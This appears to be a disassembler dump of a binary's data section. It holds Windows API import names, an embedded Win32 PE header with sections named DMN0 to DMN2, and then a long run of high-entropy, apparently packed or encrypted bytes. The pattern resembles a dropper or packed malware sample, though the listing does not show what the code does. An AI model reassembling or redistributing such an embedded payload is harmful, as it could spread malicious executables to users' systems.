dd 6F726976h, 6E656D6Eh, 72745374h, 73676E69h, 46000000h
dd 45656572h, 7269766Eh, 656D6E6Fh, 7453746Eh, 676E6972h
dd 4173h, 72695600h, 6C617574h, 6F6C6C41h, 63h, 72695600h
dd 6C617574h, 72657551h, 79h, 69725700h, 69466574h, 656Ch
dd 74655300h, 48647453h, 6C646E61h, 65h, 74655300h, 736E6F43h
dd 43656C6Fh, 486C7274h, 6C646E61h, 7265h, 74655300h, 656C6946h
dd 6E696F50h, 726574h, 52000000h, 46646165h, 656C69h, 53000000h
dd 6E457465h, 46664F64h, 656C69h, 7 dup(0)
dd 8F8C4B00h, 47h, 1000000h, 0A00h, 1800h, 80h, 8F8C4B00h
dd 47h, 1000000h, 1F4100h, 3000h, 80h, 8F8C4B00h, 47h
dd 1000000h, 41900h, 4800h, 1405800h, 1567800h, 2 dup(0)
dd 505A4D00h, 200h, 0F000400h, 0FFFF00h, 0B800h, 0
dd 1A004000h, 8 dup(0)
dd 10000h, 10BA00h, 9B41F0Eh, 1B821CDh, 9021CD4Ch, 69685490h
dd 72702073h, 6172676Fh, 756D206Dh, 62207473h, 75722065h
dd 6E75206Eh, 20726564h, 336E6957h, 240A0D32h, 37h, 21h dup(0)
dd offset dword_455000
dd 3014C00h, 3 dup(0)
dd 8E00E000h, 10BA1h, 3 dup(0)
dd 460FB00h, 100000h, 2 dup(0)
dd 100010h, 20000h, 2 dup(0)
dd 400h, 0
dd 4800000h, 40000h, 0
dd 200h, 10000000h, 100000h, 10000000h, 100000h, 0
dd 1000h, 2 dup(0)
dd 4703800h, 2800h, 6 dup(0)
dd 4706000h, 1000h, 14h dup(0)
dd 4E4D4400h, 30h, 3000000h, 100000h, 5 dup(0)
dd 6000h, 4E4D44C0h, 31h, 1512400h, 3100000h, 1520000h
dd 40000h, 3 dup(0)
dd 6000h, 4E4D44E0h, 32h, 7800h, 4700000h, 7800h, 1560000h
dd 3 dup(0)
dd 6000h, 0C0h, 63h dup(0)
dd 0CA367D00h, 31F1A2D1h, 91B6BF96h, 24E150A1h, 7792963Bh
dd 433147C1h, 0D1085E5Dh, 48FD698Ch, 221B5461h, 92B779C1h
dd 128BEA0Bh, 0D903C70Eh, 15285481h, 65FD5B90h, 0FE3FCFD6h
dd 0B91F7AE6h, 0ABFCCC2Bh, 486DBCC0h, 0E39A30B5h, 5EC06583h
dd 0D7BFCB6Ah, 5517BFB3h, 0FE603931h, 403EBDF6h, 0D15F64E6h
dd 410B7CB4h, 4BE2BE9Fh, 0E0E8B03Ch, 46424E04h, 0BAD68CBAh
dd 6024104Ch, 0A2425388h, 9CD3B1FDh, 0EEA0AEAFh, 369C7ED6h
dd 0FAC51486h, 69763A18h, 670F853Eh, 0A360B520h, 6F391F7Eh
dd 7BAEFD75h, 9BC86B7Ch, 0E72D96BDh, 0F11F3A1Dh, 2C0F8EF2h
dd 81AC0206h, 9E4D9CBCh, 0A43C66D9h, 39132EF4h, 99D0513Dh
dd 0FB54A63Dh, 0CCB2C4FEh, 0DAC2F387h, 2C633F6Eh, 730C24AEh
dd 0C9CB212Fh, 2E20BF95h, 846EFACCh, 978614Ch, 14A0B8F7h
dd 8F8991B9h, 0D6FBC46Bh, 0F1AF94C2h, 673FAABCh, 913AA476h
dd 727DD609h, 7431A249h, 9E2F1B28h, 1651864Bh, 94AAB839h
dd 22D3D0F8h, 9678F2E5h, 2DB327EAh, 4714D028h, 136F2B7Dh
dd 4A540D0Bh, 0B71FE475h, 0A045C199h, 0A4024FA4h, 7E8906EEh
dd 0A0FCC5CFh, 6EBA7A9Dh, 0B7813AB3h, 41206F12h, 0C301A498h
dd 7F04667Eh, 90E315A2h, 9361EDE0h, 0AA42F5DAh, 974EF667h
dd 9F45528Ch, 696F9B42h, 24719A0Ah, 0C2FE8D0Bh, 0EC6EA330h
dd 0AAC91BAAh, 0F2FDD492h, 38FE29B9h, 0E53DC4D5h, 48946C2Ah
dd 0DAEAE06Ah, 8F3484D3h, 8FD94098h, 587C478Dh, 96D78B27h
dd 0FD94FD9Fh, 1D7D9765h, 0EEDD8A81h, 80011B90h, 0BB270A10h
dd 0F4FFEC4Ch, 0D41CFA3h, 7A49C036h, 77ADCB3h, 7D1F16CEh
dd 426CC743h, 0E2DA6690h, 7F731CDCh, 65771B9Ah, 56398AE2h
dd 8CEF5BF3h, 0FEB89C3Ch, 564F005Bh, 50D72A18h, 0D95F0A1Eh
dd 20222BDCh, 1158F497h, 8135EDCh, 0CF4BAC06h, 0CAE72848h
dd 45C283A8h, 82364EA6h, 43794F7Ch, 0F8E1E156h, 30B5AA27h
dd 9EF04C57h, 0D6A68EDCh, 93C12FD9h, 4AB32506h, 339E7650h
dd 7AB30EE8h, 368A4C22h, 0C4EEF7F3h, 6AF40B79h, 346FAA8Fh
dd 156DADD3h, 0D7D710D1h, 0F9254DA0h, 95C7FC14h, 0FBCF449Eh
dd 0CCF6FD14h, 3E1E0708h, 9478AA09h, 7A90B48h, 1B5B1287h
dd 50733529h, 18C3B0C9h, 192644D9h, 0CE3C7A10h, 69159D12h
dd 0B3B9328Fh, 1034F60Fh, 0FF59A791h, 0A7B8CA13h, 0F462F6F8h
dd 284E3BA7h, 6081E1C8h, 0E1C3F03Ah, 0E87EE462h, 84F24C6Ch
dd 0D83CCD56h, 0B03EDDF4h, 4BA5EB23h, 3E635982h, 42FE486Bh
dd 874D1D9Dh, 1E82EFF9h, 0E9384065h, 0BFAA45F1h, 0DB05EE23h
dd 0A926216Ch, 0DB60BFF6h, 2B2DC485h, 0A73AC40Bh, 2532F790h
dd 6CEC1315h, 7C20086Dh, 6747D9D7h, 3D2944E9h, 0A5B96D6Ch
dd 64016C58h, 3C89E194h, 0F5E99F58h, 0F39D1393h, 0B88D9E2Ah
dd 0B17C26EDh, 575D88FCh, 4BB47231h, 0C14B7352h, 6C0BCD2Ch
dd 0A70448D4h, 0C2D20F88h, 0D6E1A889h, 425A93DBh, 75C70FAh
dd 54D7C660h, 4FD6303Fh, 52B5CD15h, 45E00DCAh, 20BF2156h
dd 37AD6A3Ah, 7F9566F0h, 0BB024CB7h, 0D32FA287h, 2C5A913Bh
dd 72DC47B5h, 6AA30A98h, 930BA65Fh, 304F5C0Dh, 0D99642A2h
dd 68C4C41Ah, 8372EEF2h, 0F4F4629Dh, 0F54B9D8Bh, 1BF631A9h
dd 48223A9Ch, 0ECCA1F75h, 0ED6F8D2h, 0AE076281h, 6E312B1Dh
dd 0A5DFC814h, 0AD453A6Fh, 8DD97E90h, 61AC32C2h, 5628039Dh
dd 7BE4EE0Dh, 73CA3E99h, 98828D11h, 0EFE006BFh, 0A3B0EA66h
dd 61D9C374h, 91CB698Bh, 802FE436h, 0C8677904h, 0FD6F8DA8h
dd 0EE382D8Ch, 0DAD17EA2h, 22C68C11h, 13056C08h, 77A33E81h
dd 65B77943h, 8621BF44h, 0ECF28B6Fh, 0C4BEFE25h, 0D76F11A6h
dd 0BE9FE743h, 0ED2CDE4h, 18EC6E43h, 0CF68F94h, 0D8126A89h
dd 3687A25Eh, 83F0F6ECh, 8541F8E5h, 98102Ch, 5AFDE51Dh
dd 8BE0608Fh, 16F47B4Eh, 0A8EC7529h, 69F439FFh, 63BA15C9h
dd 3F89EAC7h, 613D5981h, 11F90C02h, 804E6272h, 0ED4A6B59h
dd 366078ABh, 0B091FE4h, 0E0816229h, 49BA4637h, 0ABF8534Ch
dd 3ADBE2E7h, 7AD51E31h, 6979F0F0h, 4EDABA4Fh, 0C6D0C92Eh
dd 3E9908D6h, 71698C10h, 0ED3D3F5Eh, 0A4CFA8E9h, 0C02D9B02h
dd 4575D757h, 3EDAC1D3h, 63FA8E97h, 660DCCFh, 275C50F8h
dd 0DB081A97h, 6C6AD23Dh, 0FD3DEB25h, 810ED035h, 962918B4h
dd 8DDFC94Dh, 0ACA7E593h, 3C26D8C0h, 60110D22h, 0FE39FE98h
dd 4C0294B1h, 0D387479h, 269D7A62h, 3900B36Bh, 47855345h
dd 43B8A769h, 0A2C240A6h, 0F21B4C65h, 12E3BC80h, 0D65C8946h
dd 345E1630h, 0F1E458BFh, 77122888h, 0A4EBEFC2h, 82D7E765h
dd 7FC238A2h, 59315E7h, 437AD21Eh, 0C6F1870Eh, 15A4F24Bh
dd 30AA0685h, 0D328F483h, 92C5BA5Ah, 0F0B3CB21h, 0C7DED90Bh
dd 0BDE8FB2Ah, 2C095243h, 0DA41F6D7h, 0B6E8A0A0h, 30BE62E4h
dd 0FBA8848Dh, 4360D025h, 4E2EE4C1h, 6E48C137h, 954170CDh
dd 48BAEEB9h, 0A9F5BCB1h, 14CAB18Ch, 0B9C2D63Dh, 0BFF36342h
dd 0A7E0C70Bh, 44AB527h, 8726437Bh, 0FF18185Dh, 64F391Dh
dd 36B796E3h, 57F606D8h, 3C22173Fh, 8771FE1h, 883F682Eh
dd 0CA85729Fh, 0ACFFE433h, 70245DF5h, 5FD1BE16h, 5833583Fh
dd 9EA2CD89h, 0F17B6FF9h, 0A20E55FFh, 82FFCF26h, 0A535C75h
dd 9F575722h, 0FBAFB534h, 1B023E1Dh, 0C5785488h, 7117F476h
dd 4FBA30A2h, 7D09DDEDh, 0D901CCDFh, 40ACEAC3h, 0CAD7F07Bh
dd 0C42D77E3h, 874B17AAh, 3D08BAB2h, 0B8C04527h, 0C8645F76h
dd 481C9912h, 35222280h, 44DB6308h, 0F41FBA9Eh, 3C850322h
dd 0BA80C74Bh, 288E3A18h, 0EB96415Fh, 0DCD68AD5h, 4C27613Dh
dd 1C77F894h, 0ECF6AD20h, 67F14358h, 0D9E98C9Bh, 71EBE2DAh
dd 45D04E8Ch, 0D525E930h, 65359F8h, 0AF93DBE6h, 0EA5508B9h
dd 0EA3086A8h, 0DB4810FAh, 0F292E81Ch, 0DD38126Fh, 74685640h
dd 0F579C2A8h, 15D774DDh, 6C1EFF65h, 0F8817BA7h, 0D3935E42h
dd 0FC6D9676h, 0C7BF2833h, 166A44EAh, 0C0DA72B7h, 67CB7432h
dd 351BAB93h, 0F90AAE95h, 0B6807EBCh, 0D08FB693h, 0DA9959DDh
dd 0ED67A5Ah, 0C2388B6h, 9C407F64h, 0EF062EC7h, 67922B49h
dd 0D9AF9F1Dh, 706730D6h, 54C84AB4h, 0D735F120h, 0FA734B58h
dd 0BEE9E4AFh, 37DCFD39h, 0C530B08Dh, 0FD1D2D37h, 6B14375h
dd 0A75B491Ch, 0E73FDB20h, 0BA676CC5h, 0B0C5D495h, 822C9D5Eh
dd 0D9711297h, 0F2DC0121h, 9B31F959h, 0D1A22489h, 0E4A42C6h
dd 0D01A7E87h, 74BD30Ah, 7A1C5B67h, 38857D22h, 0B283BCBDh
dd 0D88F3292h, 0CB945123h, 1CD26B4Dh, 0CC2FDEAEh, 1C596B74h
dd 0EF29A41Fh, 67B340DAh, 0DA6D8E9Fh, 70E3E6D2h, 47C046BCh
dd 0D905F950h, 0FE9338B8h, 0B6A9BB6Bh, 0C05D3EB9h, 0E430328Eh
dd 3F1E2937h, 8AB66B72h, 9F575D1Ch, 0F727074Bh, 5A772D29h
dd 0F0F45491h, 3ED8D56h, 0D9E312A4h, 0F1D81140h, 8539F89Fh
dd 0D5522B15h, 7E4F3510h, 0A05A7CE3h, 26CB9804h, 0BB1C435Fh
dd 0BA85DAA3h, 8E83E6BDh, 0C08F4E8Dh, 0DB95E921h, 7CD35B49h
dd 0EC2DFE86h, 0FD38C96Ah, 0EF214FF2h, 675C5CBFh, 0DA335911h
dd 7F5FFB2Eh, 4638FEA4h, 0D815FD40h, 0FCB33098h, 8A69AB2Bh
dd 98DD1F79h, 875110A0h, 591FA556h, 0CEB76B7Eh, 17555D1Ch
dd 0C7238D26h, 7A4034C4h, 3104D49Fh, 838E8D2Ah, 0D9A512BCh
dd 30541113h, 0E8448A93h, 0D742483Eh, 7A0A4A4Eh, 0BF9B6B67h
dd 364B22C2h, 0D81CBE9Fh
dd 0F4856F23h, 0A83E0BDh, 0C88F4A8Ch, 6995E160h, 5CD34B47h
dd 4C2D9E9Ah, 1C5CFB5Fh, 0EF20AE96h, 675D413Ch, 0DA318953h
dd 7F5BE4AAh, 463042ACh, 0D865F170h, 0FCD328F8h, 8A285AEBh
dd 0D95D40B9h, 0F233B68Eh, 5B1F2137h, 0D2B47B72h, 0F53BD1Ch
dd 0D72FBB26h, 1A58ACC4h, 712B549Fh, 3AF8D2Ah, 0DA6712BDh
dd 0F0D01152h, 8729F8A3h, 0D9722B4Dh, 7EEA40AEh, 0B7DA7B77h
dd 0C1CB2EE2h, 0F91C50DEh, 36856EA3h, 8683E742h, 0F08F488Ch
dd 3B95E527h, 0BCD34345h, 0C2D8E9Eh, 9C5CDB57h, 0EF20EEA5h
dd 675EC15Dh, 0DA308895h, 7F59EB26h, 46344154h, 0D87DF360h
dd 0FCE32CD8h, 8BC852ABh, 0D91D5139h, 0F1B3E88Eh, 5A1F5D37h
dd 0D0B5C372h, 3528D1Ch, 0AF2D5B26h, 0A5C6CC4h, 9123D49Fh
dd 43408D2Bh, 5A3912BDh, 0EF6C116Dh, 86D1F8A2h, 0D8622B4Bh
dd 7CCA40A2h, 8B1A7B4Fh, 0D94B2EF2h, 0EE1C50FEh, 50856EE3h
dd 0C283E6C2h, 788F468Ch, 0B95F926h, 9CD33B44h, 0CC2DBE90h
dd 1C5D3B2Bh, 0EF202EBDh, 675E414Eh, 0DA3788B7h, 7F57EB62h
dd 462840DCh, 0D875F490h, 0FCF32F38h, 8BE8516Bh, 0D9DD52B9h
dd 0F133EA8Eh, 451F5937h, 0D6B5CB72h, 7529D1Ch, 0A72D7B26h
dd 3A5C2CC4h, 0B122549Fh, 83418D2Bh, 0DA3B12BDh, 0EF68116Dh
dd 86D9F8A1h, 0D8122B49h, 7CAA40A6h, 8B5A7B47h, 0D8CB2E82h
dd 0EF1C511Eh, 52856923h, 0DE83E542h, 608F448Ch, 1B95FD26h
dd 0FCD33344h, 8C2DAE90h, 9C5D1B2Bh, 0EF206EBCh, 675FC14Fh
dd 0DA3688A9h, 7F55EB7Eh, 462C40C4h, 0D84DF480h, 0FD032F18h
dd 8B88512Bh, 0D99D5339h, 0F0B3EC8Eh, 441F5537h, 0D4B5D372h
dd 7B52ED1Ch, 0BF2D1B26h, 2A5DECC4h, 0D122D49Fh, 0C3428D2Bh
dd 5A3D12BDh, 0EF64116Ch, 86C1F8A0h, 0D8022B47h, 7C8A409Ah
dd 8A9A7B5Fh, 531D7D51h, 67107562h, 0B38D8250h, 0DA7F88D7h
dd 0ED49CB9Ch, 0E26185D0h, 92BE91B4h, 0AEDB1F56h, 2C64CBA7h
dd 0DCAAAEBCh, 125F7AF3h, 533677A9h, 6FBB2A8Ah, 465FBFE9h
dd 1B1EAAB0h, 0FC152710h, 0FBBDAFFBh, 194D5445h, 0A3D667DBh
dd 4619595Fh, 0AEA02462h, 1542FDE0h, 0BF68B027h, 97934494h
dd 0A878549Eh, 0B2B4EA2h, 252F13B4h, 0EF9C6979h, 0DD1171B7h
dd 0D05AE818h, 827A4198h, 8A260F42h, 0FFBFD1B2h, 0BC4AB95Ah
dd 26DC68A3h, 0C682ED4Ah, 0ECF75573h, 1356E526h, 2CD22564h
dd 0F05C5B6Eh, 5F9E4B2Ah, 6EC667E6h, 6759C19Dh, 8D62DBADh
dd 2D21D47h, 0C22B40FCh, 0D85DF402h, 2DCDA30h, 0F75DAF54h
dd 0E70D55C5h, 0F04C1F71h, 4693C938h, 0F8DDA372h, 8C42CC1Ah
dd 8FD0AF33h, 0C620E1D4h, 19542BC9h, 43458D43h, 5AB49FB2h
dd 0BF83EE90h, 86A0434Eh, 0C8E6A843h, 86CB831Bh, 8A1A7BD0h
dd 0DA2110C4h, 129CD2F3h, 0A0D568E3h, 0D283A7E2h, 0DE0607D5h
dd 1C99F4ABh, 91DB6EBBh, 9A7C61D2h, 1C0C30C2h, 0FFE7ADB3h
dd 0F0E82FBh, 0CA3B6CCDh, 7F1DF09Ah, 104119FCh, 0D8055738h
dd 0EED877B8h, 7468D2E6h, 0B28DA946h, 1F3306ECh, 414EB6DFh
dd 0B6ECF272h, 6753DB3Ch, 7B54EED9h, 0A4023CC4h, 6CCCDDC5h
dd 857DE5E8h, 0CFCC02B3h, 0FF78ED1Fh, 6370AD66h, 88C2C7C2h
dd 2DDA051Bh, 76DA6ED8h, 59AD3F42h, 6010AEE3h, 0AEC0D024h
dd 2B68F942h, 6B1E34h, 0EC9ADE36h, 7383EF01h, 0DCD62B26h
dd 64182C25h, 0EF23620Bh, 9EAE5873h, 9F8D87F3h, 7F2952BEh
dd 0B18540E4h, 6CA2A639h, 0F213D8DDh, 0DBFA129Ch, 0DA791F51h
dd 6C61B9Eh, 404E9ADFh, 0F8713072h, 36BDA447h, 7AA5CEE5h
dd 0D236BF94h, 0AE30D598h, 0C3BAF93Eh, 0BE757AA2h, 9A8B016Eh
dd 0D71B10ACh, 829B2B7Fh, 0A68F8303h, 0CC17674Bh, 260EA642h
dd 0EFE02341h, 0ACD66716h, 2A83BA52h, 5B839E0Ch, 0ABC1B6CEh
dd 64BB5243h, 0B33C1F97h, 1CA18338h, 3ABF5A2h, 0EE0C8229h
dd 0D2D50B46h, 22C0BD19h, 0B908ABE4h, 0DB55E4FDh, 0D438FE8h
dd 0BFD746EBh, 0DA5B083Ch, 0F01B0E9Eh, 0C046BEC8h, 2245AB4Fh
dd 0B0243D0Fh, 9644CACDh, 725EACC0h, 8ED8A97Ah, 13520672h
dd 53271243h, 0E920846Ah, 0BD69E8AAh, 98F55E5Fh, 5F150548h
dd 0CC1C7FDCh, 0B0480F9Dh, 1BD5626h, 0CB956A53h, 330AEE12h
dd 208FA89Fh, 0EB10B1ADh, 57C30245h, 842F8497h, 161E9D2Bh
dd 9BE26AB2h, 981FFB7Bh, 0A7B981D1h, 7F4DEBBEh, 0C6F23C94h
dd 0AE9F0B9Dh, 0DF58AED1h, 638B52DEh, 0E09D1A38h, 8D498CAEh
dd 4B6CBD0Ch, 0D0A5BEF1h, 1F711D1Fh, 9F3CFAA7h, 0AEDD7CC3h
dd 9021841Bh, 18168D3Ch, 9974FE3Ah, 6EA9983Ch, 86106846h
dd 0BDB4787Bh, 0F0CA4239h, 76E40B8Ah, 62447F8Dh, 9FF4063Dh
dd 0C9856AA9h, 56756B04h, 393430A4h, 0FB101427h, 0CC2F04BDh
dd 9CEF899Eh, 1C1454C5h, 6AE4A7B1h, 565E3580h, 0B2246367h
dd 6F470F64h, 0B9F52A74h, 0D05EACEFh, 0FD972D50h, 75B5BD7Bh
dd 0EA84A546h, 566DBA4Eh, 8E4555BEh, 26FFCE9Ah, 27912C1Fh
dd 82A52EE5h, 0BC347F93h, 0B34C55F4h, 8303BAC4h, 5BE89BB3h
dd 10B7EE92h, 0B71D8D56h, 1CC4C0B9h, 0D52ABCC3h, 8D307A15h
dd 84376A8Fh, 170C5276h, 0BD7A0D23h, 0D6D0ED42h, 208F1E9Dh
dd 1B69D8E1h, 96D1E1EBh, 7069A395h, 8C58737Dh, 104A6EB0h
dd 345BC188h, 0DA777D31h, 83002C5Eh, 460C4085h, 9E00F16Ah
dd 0F5E971E4h, 8877AA43h, 750839h, 85B3FCC7h, 0A091EEEFh
dd 0ADE0502Fh, 31023DFAh, 152D7120h, 0E3E104C1h, 12AFD49Eh
dd 3CB576ADh, 5E58ED4Ch, 8EAFD159h, 6E0DBDC1h, 52822B74h
dd 79E0BCBFh, 0D8663E92h, 0D45B2A7Ah, 0EBE33F3Eh, 94D66563h
dd 3A83A554h, 0C08717E6h, 62959125h, 0D8BA1706h, 1CD09B1Ch
dd 1C4E7D44h, 10DAC6B0h, 8F084178h, 0DA3DC1ADh, 2C02B6Bh
dd 0D30F409Ch, 27C07CE0h, 0B81E2512h, 80C20417h, 0D4A2A3D1h
dd 5BDBAD8Eh, 0C618B17Eh, 0C63CC0AAh, 0D604BE42h, 0FC7F6BC3h
dd 1F36A49Eh, 0F126BC8Eh, 0FF0E042Ch, 9FA216DAh, 0EA284194h
dd 0EE09F8BFh, 0DBB2D48Ah, 3B42A8ADh, 0CDB37B17h, 0D7C8C72Eh
dd 0E959DE5Eh, 3B0860C9h, 30EBA3BEh, 0B88F509Fh, 0FB956AD9h
dd 75D80B10h, 0CC1DCE92h, 9C4A26AFh, 66F57BB8h, 633E3D3Ch
dd 8AC0CD50h, 8029E33Ch, 1504404Bh, 0DBD51CC8h, 112A7A58h
dd 0FCB797F6h, 35F5591Dh, 3AB3F0C6h, 1BDBEDF7h, 0C43486FBh
dd 53514C13h, 12A08D75h, 0BEFAEFCBh, 11DA2B60h, 0BDB428AFh
dd 0D921ED4Fh, 10A2EDCEh, 3BB2F851h, 245DD58Fh, 0F95C33B2h
dd 77E4866Ah, 0D61BACCDh, 0E4E0DEF7h, 0E40C631Ch, 0CD7CC247h
dd 2C0D0370h, 9B6A96D8h, 1CBA5B29h, 32D77B1Fh, 760044D3h
dd 0A7B1C6B7h, 0A1E5417Ah, 0AE2C705Ch, 0AE96E59h, 0AD7871B8h
dd 9BD5C453h, 1E3A7BE6h, 73D8836h, 5D8E0E5Ch, 6B630ECBh
dd 391CCF48h, 0E6BD1E8Dh, 9751157Fh, 3FA838AFh, 0F15C583Ch
dd 0B87FA8D8h, 0D68ED0C2h, 36A0F73Dh, 0FF324273h, 0C3B4F8B7h
dd 9EBA7A61h, 0F12A5F67h, 4F3C75A3h, 0D6C9D287h, 92100D15h
dd 0CD8A6B66h, 0E6D3D107h, 0C088C4A5h, 29D0E440h, 16200ECEh
dd 0F9D4BD82h, 0D44E7324h, 17BA6EB6h, 5669B484h, 0EBD16311h
dd 0F646AA6Eh, 137F0348h, 37EE6CC9h, 0E2A94B88h, 0CB857B41h
dd 2575EFC9h, 81B334DEh, 0BF7E29F3h, 0CB88337h, 243E894h
dd 68186F63h, 83F8FC86h, 51349347h, 312B0448h, 30154F39h
dd 9A2B4272h, 0C6F510D4h, 25C12A8Fh, 470E2AD5h, 0B69992BFh
dd 6F106212h, 6DDF1552h
dd 0B1EF7AEAh, 628BB53Dh, 0C888CD33h, 2FE8A1A0h, 5F3B8B70h
dd 116B5EA7h, 0F9D9AEE4h, 0BC2C43C5h, 0D7D2CCAh, 2A940613h
dd 2F91017Ah, 82335CACh, 9EA2EB7Ch, 35D31208h, 8E3886AEh
dd 0A4D0E0B9h, 0EE76FB7Eh, 0EE6F767h, 553B937Ah, 4CC4BD1Fh
dd 28EC40A7h, 1FD5533Ch, 73B094ACh, 585155A7h, 19FAFE3Ch
dd 6DB59837h, 0D67AEC2Fh, 0CF2FA1DAh, 0E9E60AA5h, 58BC7955h
dd 9BCB22E1h, 0D41C22CEh, 1ED56EE6h, 6839772h, 96844C0Dh
dd 396520E3h, 5095847Fh, 0C2B8E9Ah, 11A0A6B2h, 0B8680310h
dd 8F66B342h, 0DAD0CC73h, 81982E2Fh, 0B94BA4ABh, 1B4C8B15h
dd 0A7680333h, 7B8DE9A7h, 6612F3B0h, 0E9E25ACBh, 7A199A3Bh
dd 99BB4A14h, 0D812D2EFh, 6C4CB7AFh, 5841E596h, 0CCD883CBh
dd 535D0623h, 5B130F5Eh, 0BDFC6482h, 6BD98D3Dh, 0DE626C61h
dd 9E4F99ABh, 5B997C30h, 0A040C90Dh, 0CBEF4909h, 9B5AE11Ch
dd 1CDCD686h, 2D4BDBD5h, 5DC69CA2h, 8C8DB029h, 171A6105h
dd 1C3B1BD8h, 0E34DD03Eh, 8F663351h, 0DAD7CDC5h, 89922E6Bh
dd 0B1814AA2h, 0DA79C51Bh, 0FEB69EC8h, 706D926Ah, 9542EC6h
dd 5C69F4D1h, 80908CF4h, 9DEF9D21h, 58C58D42h, 87FAA017h
dd 0C4F72CA9h, 0C4AD58E8h, 0C5596527h, 1DF212B5h, 0FE96E7F8h
dd 0C6520FE8h, 57E22B85h, 9BAB5363h, 4F2586C2h, 0D694FA0Bh
dd 1ADF1445h, 44D67CAAh, 52DE4E14h, 8B98F905h, 0E4951736h
dd 383230Bh, 0C9C3A6F9h, 15511B75h, 90CEEAAAh, 98A745AAh
dd 2DFF8082h, 80901BFFh, 32785BBh, 8013DF90h, 0A550D445h
dd 0FB77971Ah, 0F275FF1Dh, 89B2ACC8h, 9BE254F4h, 61472C8Dh
dd 0DF381202h, 0F907F32Ah, 0ED2CECC3h, 0D4272218h, 28DD45ACh
dd 573B99BEh, 0EE6F11F7h, 5B48FA2Bh, 8BC171D9h, 8409BA93h
dd 0F8CC2A4Bh, 54B4882h, 0A44CB97Bh, 0C85D7D7h, 3C8F0040h
dd 6A78C749h, 87D0B62Bh, 0DCD02B6Eh, 0C1DA0301h, 4F019777h
dd 733DA93h, 676F031Eh, 24564DE2h, 4E179D05h, 0CDBBB10Ch
dd 9ECE8CE5h, 0FC119E8Ch, 0DF5A255Ch, 0D2186751h, 1067258Eh
dd 561B5851h, 41E69BB2h, 3C111196h, 36F4B273h, 0DBA1A82Fh
dd 3707079Ch, 0FCDF8DAAh, 0DB1713B5h, 63E01F78h, 7C35E442h
dd 5BDA827Ah, 0E46A6F5Bh, 6D2199D2h, 0BC23B25Dh, 14E336A1h
dd 930B5B2Ah, 0A97230BFh, 0EB680505h, 93CD8AD4h, 3CC06614h
dd 815C8804h, 636D5BB7h, 0EDD3BF9Ch, 8078C635h, 232B7C9Eh
dd 0F21D2C75h, 0C7FF042Ch, 0BE9EDD4Ch, 3FA0F2D1h, 181E33A7h
dd 0D115A0B2h, 1FB6A02Ch, 3392CD34h, 1C1A2078h, 0F34CCD1Fh
dd 0BE1886A5h, 40A9E57Ah, 11A8543Dh, 3F2492EEh, 0A314933Eh
dd 0DF032C7Fh, 8F56D0Fh, 55D69F0Ah, 951FF602h, 0E796432Eh
dd 870E294Ah, 4219F771h, 0BE8C48E2h, 0E98B413Bh, 9164CB05h
dd 0B7E08229h, 978B1FF7h, 452A86C8h, 59EA4377h, 6D3F5373h
dd 2868BEB7h, 0DFDB72EEh, 0FA73E8F2h, 0DFC304A3h, 0AE96DD3Ch
dd 5FB0F331h, 583E347Bh, 59D5B332h, 1F36A217h, 65A14235h
dd 97B8AB7Ah, 0F295F26h, 0A576E36h, 4DAA11E0h, 0A854E084h
dd 0D6ACB224h, 0D489F0B6h, 0FA7321C9h, 77ACE57Ch, 0E446D208h
dd 0D01006EAh, 1A599CACh, 5ABD6F17h, 7CFD8B17h, 7F2B8B9Dh
dd 5A0C42BFh, 0B6136C8Fh, 0DDB93EEBh, 2FABC3F6h, 7748E67Dh
dd 0D69A6377h, 26FE5672h, 1FE277AFh, 10400269h, 480DE8CAh
dd 0E41552B1h, 0AAD84C7h, 1A1848C5h, 9ACB3AC3h, 1CD12BBh
dd 1AC6CD29h, 15F1CAD2h, 4547574Ah, 0CB2419EAh, 7710863Eh
dd 145AE2FBh, 3DD6EC65h, 525B36Bh, 6A29518Fh, 11BD13A5h
dd 87E6AC4Ch, 5E8974B0h, 0E1559B87h, 12E6067Ah, 63C863A9h
dd 0D69D0B78h, 4F4B4052h, 0B04F403Ch, 442695CAh, 747500D4h
dd 875583A6h, 0B4519DCEh, 0CEDA134Eh, 423C266Ah, 2B6D2A55h
dd 225F0261h, 0C60BE8CAh, 0EFCB0415h, 4966DD2Eh, 7B774A0Fh
dd 8B44D4CCh, 0F8B5F72Ah, 47CD5A9Ah, 953D22A0h, 39E15705h
dd 0AC58B2Ch, 0C046D396h, 0F1AD4B08h, 7513EC5Ch, 6766367Fh
dd 253E571Bh, 2A7AB881h, 87BB1EC7h, 0CB303735h, 6C542231h
dd 95E49467h, 0C62A0B32h, 0B7E9CEDEh, 0F5AB10AFh, 9E968CCBh
dd 0EADBA978h, 6D798833h, 4254897Ah, 1B9A0EC9h, 0A728DA75h
dd 28BAEF62h, 0EBE33F24h, 0F4260827h, 48830BB3h, 11D1D286h
dd 2ABD9F43h, 0AC259B85h, 8CB23BFh, 172EB3AEh, 6244201Ah
dd 9D5C4010h, 3FFCEB50h, 0FC585F5h, 0E6454213h, 0DDF64997h
dd 990DE9ABh, 0C631CD6Bh, 0DA7BC03Dh, 0EE06BA87h, 0B2FFEECAh
dd 0A141937Bh, 1494BF02h, 96D33917h, 75FF4B21h, 0F832B101h
dd 0AEBF658h, 0A810A8C3h, 0C6A39414h, 1BCE7F29h, 7EF89D72h
dd 0F0E8F90Eh, 0EB4CBBBh, 0B2FDAC65h, 301EB056h, 0A6AA7437h
dd 5CED0098h, 320B5AE5h, 3C7303F1h, 76C419D3h, 0E7803739h
dd 3BCDF7C5h, 0E2CD5002h, 0EE150E62h, 12B8B0BBh, 54B388A4h
dd 6710853Ah, 0EBC15AEFh, 4EADB434h, 8FE13B5Fh, 0B7C0421Dh
dd 11F9437Dh, 7FE974FAh, 654C9D46h, 9552460Ah, 0EC5B2C3Eh
dd 61715206h, 33ABFE1Dh, 83B7CB7Ch, 0FA1290AFh, 467107h
dd 0A15968D4h, 0CE6EE30Bh, 699A22C8h, 0B5FA1347h, 3345909Dh
dd 0FD36D217h, 2B3B0234h, 4556E023h, 0F6D1D1B2h, 0C195F576h
dd 0D4E51AD0h, 4F886737h, 0D89D0B42h, 0DC37B110h, 9324CDE2h
dd 1AB8A83Bh, 24845DBBh, 7F11F6B7h, 0DF539C52h, 0BFB831BBh
dd 9ADA469Eh, 1EFEB8A1h, 0DD061182h, 7C027F20h, 0AD0BE948h
dd 969418F3h, 1AB7041Dh, 4DD72F47h, 0F0684F3Ch, 4F046AABh
dd 2AD3CCC2h, 6B3AE678h, 0A4109C29h, 1D12662Eh, 6A3336DDh
dd 42D184CDh, 0CEBCC96Eh, 4B69DC29h, 0EF6A847Ah, 0D76BB835h
dd 6E905A06h, 0A57A749Ah, 0D2B4FDCh, 655798CBh, 0EC5DF62Bh
